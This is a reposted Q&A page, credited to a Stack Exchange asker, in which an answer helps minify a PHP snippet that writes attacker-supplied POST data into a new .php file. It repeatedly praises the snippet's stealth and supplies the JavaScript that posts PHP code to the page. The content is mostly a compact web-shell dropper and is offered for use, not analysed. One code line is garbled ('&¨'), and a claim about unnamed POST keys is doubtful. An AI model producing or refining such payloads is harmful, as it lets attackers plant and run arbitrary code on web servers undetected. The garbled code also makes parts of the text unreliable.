PHP代码压缩优化求助：精简基于XHR请求的文件生成代码

Great work experimenting with trimming down that PHP payload—let's build on the techniques you've already tried to squeeze out every last byte, while keeping your helper JavaScript intact.

Starting Points #

First, let's recap your initial two versions for reference:

• Basic Version:

  if(isset($_POST[0])){file_put_contents('.php',$_POST[0]);die;}
  

• Error-Suppressed Version:

  @$_=$_POST[0];if(isset($_)){file_put_contents('.php',$_);die;}
  

Your Already-Tried Wins #

You've already nailed several key minification tactics:

• Swapped isset() checks for direct truthy evaluation (if($_POST[0]))
• Tested ternary/null coalescing operators and try/catch structures
• Stripped unnecessary curly braces and parentheses where PHP syntax allows
• Explored alternative file-writing functions (though file_put_contents is already one of the most concise)
• Removed redundant semicolons
• Tested empty/unnamed POST keys like $_POST[] or $_POST['']
• Swapped exit for die (smart move—die is one character shorter!)
• Used the minimal valid filename .php
• Stripped all whitespace and newlines
• Opted for a numeric POST key 0 to skip quote overhead
• Used short variable names to cut down on character count

Even More Optimizations to Try #

Let's push this further, leveraging PHP's loose syntax and the flexibility of your JS payload:

1. Ditch the Intermediate Variable & Combine Check + Write #

You can skip assigning $_POST[0] to a short variable entirely by using PHP's logical operators to chain the file write and termination:

@file_put_contents('.php',$_POST[0])&¨

Here's how this works:

• The @ suppresses warnings if $_POST[0] isn't present (keeps the payload stealthy)
• file_put_contents returns the number of bytes written (a truthy value on success)
• The &&die only executes if the write succeeds, terminating the script immediately

2. Remove Unnecessary Semicolons #

If this is the only code in your PHP file, you can drop the final semicolon—PHP allows omitting it at the end of a script:

@file_put_contents('.php',$_POST[0])&&die

3. Simplify to Unconditional Termination (Shorter Still) #

If you don't mind terminating the script regardless of whether the file write succeeds (which is common in these payloads), you can strip the logical check entirely:

@file_put_contents('.php',$_POST[0]);die

This cuts out the && and relies on @ to silence any errors if $_POST[0] is missing.

4. Avoid Longer Alternatives #

Steer clear of functions like fwrite + fopen—they're longer than file_put_contents and don't add any value here. For example:

// Longer than the minimal file_put_contents version
@fwrite(fopen('.php','w'),$_POST[0])&&die

5. Lean Into PHP's Loose Parsing #

Your choice of numeric key 0 is perfect—PHP lets you access $_POST[0] without quotes, saving two characters compared to $_POST['0']. If you adjust your JS to send an unnamed POST parameter (just =... instead of 0=...), PHP will still map it to $_POST[0] for application/x-www-form-urlencoded data—this doesn't shorten the PHP, but it's a neat quirk to know.

Final Minimal Payload Candidates #

Here are the tightest versions you can get:

• Conditional Termination (only die if write succeeds):

  @file_put_contents('.php',$_POST[0])&&die
  

• Unconditional Termination (shortest overall):

  @file_put_contents('.php',$_POST[0]);die
  

A quick note: The @ operator is non-negotiable here if you want to avoid "Undefined index" warnings when the POST data isn't present—keeps the payload low-profile.

Your existing JavaScript is already ideal for feeding these payloads:

var xhr = new XMLHttpRequest(); xhr.open('POST', location); xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhr.send('0=' + encodeURIComponent(`<?php unlink(__file__);?>`));

内容的提问来源于stack exchange，提问作者user9216382